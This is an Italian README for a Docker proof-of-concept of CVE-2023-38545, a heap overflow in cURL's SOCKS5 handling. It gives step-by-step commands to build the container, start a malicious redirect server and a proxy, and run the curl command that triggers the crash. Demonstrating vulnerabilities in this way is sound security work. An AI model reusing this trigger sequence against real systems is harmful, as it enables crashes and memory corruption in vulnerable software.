
Dockerfile contenente tutti i file di configurazione necessari per dimostrare l'exploit
Questo progetto mostra la CVE-2023-38545 di cURL. L'ho reso il più leggero possibile.
Prima, crea l'immagine Docker:
docker build . -t cveimage
Successivamente, possiamo semplicemente eseguire il file immagine, creando un container Docker temporaneo che verrà eliminato una volta che il container viene arrestato:
docker run --rm --tty --net="host" --name cvecontainer cveimage
Se hai difficoltà a digitare comandi, apri semplicemente un altro terminale ed esegui:
docker exec -it cvecontainer /bin/bash
Ora dobbiamo avviare tutti i servizi. Connettiti al container già in esecuzione ed esegui:
./exploit/malicious_redirect_server.sh &
python3 /exploit/proxy.py &
Ora, dall'interno del container puoi vedere l'exploit di cURL in azione:
curl -vvv --limit-rate 100 --location --proxy socks5h://127.0.0.1:1080 http://localhost:8000
Devi vedere un errore di segmentazione sulla macchina che ha eseguito il comando curl per sapere che l'exploit è riuscito. Se non lo vedi, o l'exploit non si è verificato, oppure il processo aveva così tanto spazio heap disponibile che non hai sovrascritto memoria inaccessibile.